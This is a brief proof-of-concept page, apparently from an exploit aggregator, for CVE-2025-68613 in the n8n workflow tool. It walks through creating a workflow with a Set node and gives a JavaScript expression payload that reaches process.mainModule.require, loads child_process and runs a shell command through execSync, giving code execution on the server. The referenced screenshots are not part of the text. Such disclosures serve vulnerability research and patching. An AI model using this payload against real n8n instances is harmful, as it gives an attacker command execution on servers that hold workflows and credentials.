Exploit for Improper Control of Dynamically-Managed Code Resources in N8N CVE-2025-68613

## https://sploitus.com/exploit?id=E9958166-8C9D-532B-A047-BA786022BB92
## Poc (Proof of Concept)

### 1. Open n8n in your browser

   - http://localhost:5678

### 2. Create Workflow

![alt text](PoC/image.png)

### 3. Add a "Set" Node

![alt text](PoC/image1.png)

![alt text](PoC/image2.png)

### 4. Inject Payload

```javascript
{{ (function() {
    var require = this.process.mainModule.require;
    var execSync = require('child_process').execSync;
    return execSync('id').toString();
})() }}
```

![alt text](PoC/image3.png)